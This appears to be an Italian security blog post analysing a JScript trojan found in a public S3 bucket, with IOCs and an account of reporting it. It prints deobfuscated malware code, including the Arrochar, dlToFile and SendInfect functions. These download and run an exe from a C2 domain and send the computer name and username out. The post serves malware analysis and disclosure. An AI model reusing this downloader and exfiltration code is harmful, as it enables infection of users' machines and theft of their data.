Decompilare un trojan JScript

Oltre il 50% degli attacchi informatici è eseguito attraverso un malware, il cui compito è quello di trovare una qualsiasi falla per iniettare altri tipi di virus tra cui malware, adware e molto altro ancora. Controllare il computer da remoto, spiare ogni informazione sullo schermo e anche crittare i file per chiedere un riscatto: un clic sbagliato e perdi tutto.

Si stima che ogni settimana vengano costruiti più di 1,000 programmi malevoli; esistono aziende che sviluppano protezioni ma talvolta gli attacchi sono talmente elaborati e precisi tecnicamente che un normale antivirus non può far niente, a meno che l'attacco appena inizi non venga subito segnalato.

I team di aziende quali Kapersky, Avira analizzano ogni giorno centinaia e centinaia di programmi per approfondire il risultato dei test condotti dall'antivirus nel caso in cui fosse in dubbio sul fatto che sia o meno un programma malevolo. Nel caso in cui fosse malevolo, aggiungono il programma all'enorme database dei file considerati "pericolosi".

In questo articolo scriverò di come abbia potuto decompilare il trojan, analizzandone dettagli e tecniche per eludere ogni difesa; discuterò inoltre delle pratiche che mi hanno condotto a segnalare il fatto a diverse aziende, il cui compito è quello di schermare gli utenti da un possibile attacco.

Come ho trovato il Trojan

Il Trojan era presente in un bucket non protetto di S3 Amazon, (hxxo://bitcoin01.s3-us-west-2.amazonaws.com/) . All'inizio credevo di essere "inciampato" nel solito miner Bitcoin cammuffato, ma ben presto mi sono reso conto che non fu così.

La repository, chiamata Bitcoin01 per antonomasia ai nomi dei file, contiene 6 diversi file estensione .zip (Bitcoin_BitPlugin01ogM35p61DK.zip, Bitcoin_BitPlugin01wVvhtFEk9i.zip, Bitcoin_BitPlugin02NMstTThdHG.zip, Bitcoin_BitPlugin02qFIbpMQSWn.zip, Bitcoin_BitPluginYqzkb3k7hd.zip, Bitcoin_BitPluginlOvjgETbzM.zip) , aggiunti in un tempo differente di un secondo (data : 16 aprile 2018).

Ogni file zippato ha al suo interno un file sviluppato in JScript, codificato tramite un encrypter per eludere AntiMalware o malware researcher.

Aperto il file Bitcoin_BitPlugin02qFlbpMQSWn.js , alcune stringhe mi sono suonate strane sin da subito. Variabili come "runasadmin" , "getFile" , "dwlFile" mi fanno presupporre che il file potrebbe essere un Trojan. Sin da subito, il come e in che piattaforma il trojan poteva essere usato erano chiari.

Il sistema operativo Microsoft Windows ha come utility di sistema un programma chiamato WSCRIPT.exe ovvero "Windows Script Host" per eseguire script programmati in determinati linguaggi di scripting proprietari derivanti da linguaggi di programmazione quali PHP, Javascript ect..

Questo script è stato programmato nel linguaggio di scripting JScript. Esso è l'implementazione di una linguaggio molto simile a Javascript per lo sviluppo di comandi automatizzati su piattaforme Microsoft Windows (tutte le versioni da Windows 98 hanno wscript.exe).

Decompilare il trojan

Lo script inizialmente sembrava che fosse stato criptato con chissà quale algoritmo per "spaventare" i researcher, ma JScript è un linguaggio molto semplice da capire e da decodificare dato che è molto simile al linguaggio Javascript. Infatti, è bastato eseguire il codice su un normale browser e un po' di console.log per catturare il codice decriptato prima che venisse eseguito.


	var runAsAdmin, dlToFile, getPathFromGuid, getPathFromGuidWow, fileExists, folderExists, getEnv, randomStr, runAsUser, dlToText, base64ToBinary, getCountryName, getLanguage, dataPost, getSO, SendInfect, Prosseguir, Marcar, Arrochar; + function() {
    var jHA = '',
        zbg = 567 - 556;

    function ByH(t) {
        var r = 28357;
        var f = t.length;
        var c = [];
        for (var o = 0; o < f; o++) {
            c[o] = t.charAt(o)
        };
        for (var o = 0; o < f; o++) {
            var y = r * (o + 180) + (r % 16345);
            var q = r * (o + 85) + (r % 31629);
            var p = y % f;
            var i = q % f;
            var n = c[p];
            c[p] = c[i];
            c[i] = n;
            r = (y + q) % 4249218;
        };
        return c.join('')
    };
    var XmY = ByH('nsrottkctomqbzdvhcepunoiusrycxrjlgfaw').substr(0, zbg);
Codice completo Da una rapida occhiata del codice offuscato, ho la conferma di quanto detto prima: il trojan è eseguibile in sistemi Microsoft Windows. All'occhio salta subito un dettaglio molto particolare, un dominio che può sembrare affidabile , "hxxps://pnl-01start.com/" . Aprendolo pero' è arrivato un messaggio di errore "Unathorized" (non autorizzato).

Scansione immediata su VirusTotal; come risultato ottengo che la maggior parte degli antivirus testati garantisce la validità del sito, mostrandolo come "clean site", altri invece hanno poche informazione per dare un giudizio e pertanto mi mostrano "Unrated site".

Cosa serve quindi un dominio del genere? La risposta è presto data. Guardando "più da vicino" la funzione chiamata "Arrochar" si nota subito di come il dominio serva per creare, in un primo momento, una nuova cartella in APPDATA dove scaricherà un exe da una sorgente, ancora a me sconosciuta, il cui nome è data da RandomStr(). In un secondo momento, invece la funzione richiama "SendInfect" per tracciare le informazioni del tuo computer e inviarlo a una sorta di API costruita sul dominio citato in precedenza.

Se diamo uno sguardo alla funzione "SendInfect", essa richiama a sua volta un altra funzione "GetEnv" per prendere le variabili di ambiente come "COMPUTERNAME" "USERNAME" e la versione del sistema operativo utilizzato dall'utente.


function getEnv(_0xDF9B) {
        try {
            var _0xDFED = WScript.CreateObject("WScript.Shell");
            return _0xDFED.ExpandEnvironmentStrings("%" + _0xDF9B + "%")
        } catch (e) {};
        return ""
    }

function SendInfect(_0xE03F, _0xDF9B) {
        var _0xDFED = "country=" + getCountryName() + "&l=" + getLanguage() + "&c=" + getEnv("COMPUTERNAME") + "&u=" + getEnv("USERNAME") + "&s=" + getSO();
        DataPost(_0xE03F, _0xDF9B, _0xDFED)
}

Di per sè il file sembrerebbe un banalissimo tracker implementato da chissà quale persona che si voleva divertire, ma c'è ancora un fatto che suona strano. Nella funzione "Arrochar" (qui sotto), prima della funzione "SendInfect", lo script scarica in una cartella creata con una stringa random, un malware proveniente (un exe in raw data) dallo stesso sito web. Lo stesso malware scaricato viene eseguito a catena.


function Arrochar(dataPost, _0xE2CF) {
        try {
            var response = dlToText(dataPost + "?q", _0xE2CF);
            if ((response == "1") && (Prosseguir())) {
                var object = WScript.CreateObject("Scripting.FileSystemObject");
                var appData = getEnv("APPDATA") + "\\\\" + randomStr(6);
                object.CreateFolder(appData);
                var response_b = dlToText(dataPost + "?w", _0xE2CF);
                if (reponse_b) {
                    var _0xE0E3 = appData + "\\\\" + randomStr(6) + ".exe";
                    var _0xE03F = dlToFile(dataPost + "?e", _0xE2CF, _0xE0E3);
                    var _0xDF9B = dlToFile(dataPost + "?r", _0xE2CF, _0xE321 + "\\\\" + _0xE091);
                    if (_0xE03F && _0xDF9B) {
                        runAsUser(_0xE0E3);
                        SendInfect(dataPost + "?t", _0xE2CF);
                        Marcar()
                    }
                }
            }
        } catch (e) {}
    }
    
    Arrochar("https://pnl-01start.com/", "padrao")

è interessante vedere come la stessa persona abbia implementato una sorta di protezione per evitare che qualcuno potesse arrivare al malware scaricato dal primo (codice qui sotto). Il dominio pnl-01start.com controlla se l'utente ha un header chiamato "x-auth" contenente la variabile "header". Se diamo uno sguardo la variabile "header" corrisponde a "padrao"; solo a quel punto il dominio "riconosce" la connessione dello script e avvia il download del file.


function dlToFile(url, header, _0xDF9B) {
        try {
            var xmlhttp = WScript.CreateObject("MSXML2.XMLHTTP");
            xmlhttp.Open("GET", url + "&=" + Math.floor((Math.random() * 999999999) + 1), false);
            xmlhttp.SetRequestHeader("x-auth", header);
            xmlhttp.Send();
            if (xmlhttp.Status == 200) {
                var adodb = WScript.CreateObject("ADODB.Stream");
                adodb.Type = 1;
                adodb.Open();
                adodb.Write(xmlhttp.ResponseBody);
                adodb.SaveToFile(_0xDF9B, 2);
                adodb.Close();
                return true
            }
        } catch (e) {};
        return false
    }

Oltre a far ciò, il trojan modifica il file host di Windows (C:\Windows\System32\host) e installa nuovi certificati per reinidirizzare l'utente su siti non ufficiali. Analizzandolo con più cura, è possibile notare alcuni strategemmi come il controllo dell'esistenza del file con lo stesso nome dello script nella cartella APPDATA: ciò è sviluppato per evitare di ri-eseguire la procedura dello scaricamento del malware ad ogni apertura dello script.


  {
            ...
            var response = dlToText(dataPost + "?q", _0xE2CF);
            if ((response == "1") && (Prosseguir())) ...
    }
            
    function Prosseguir() {
        var _0xDF9B = WScript.CreateObject("Scripting.FileSystemObject");
        var _0xDFED = getEnv("APPDATA") + "\\\\" + WScript.ScriptName;
        return _0xDF9B.FileExists(_0xDFED) == false
    }

Risoluzione e segnalazione

Tempestivamente, ho fatto un upload dello script su un popolare disassembler di virus online e qualche utente (@DissectMalware su Twitter) aveva già iniziato a evidenziare le funzionalità, segnalando il fatto a CloudFlare dove il trojan era hostato. Seppur gli antivirus, in un primo momento, non abbiano segnalato alcun problema (vedi screenshot) , Hybrid-analysis rendeva noto di come il file fosse malevolo e, a quel punto, il team interno ha provveduto a notificare le aziende sviluppatrici di antivirus per evidenziare il file come malware.

Oltre a ciò, al momento risulta essere ancora attivo il dominio hxxo://bitcoin01.s3-us-west-2.amazonaws.com/ , seppur abbia mandato mail nei giorni scorsi, il team di Amazon sta conducendo ancora delle indagini per verificare la natura dei file.

Prima
Prima
Dopo la segnalazione
Riassunto

Informazioni tecniche

Domini
bitcoin01.s3-us-west-2.amazonaws.com
pnl-01start.com 
ocsp.trust-provider.com 
ocsp.comodoca4.com 
IP
178.255.83.1
Sha256 del file chiamato Bitcoin_BitPlugin02qFIbpMQSWn.js :
5ff0529719df26f5589074f5efab1aab0fdf8e514054d14c2ab04ecbb9683156
Sha256 del file zippato Bitcoin_BitPlugin02qFIbpMQSWn.zip :
3c36290b0c619722e582974fc95d1cabf5d3c8ad5d735db7c1ebb0996075ef03

About Me
Hi, I am SerHack. A developer and security researcher.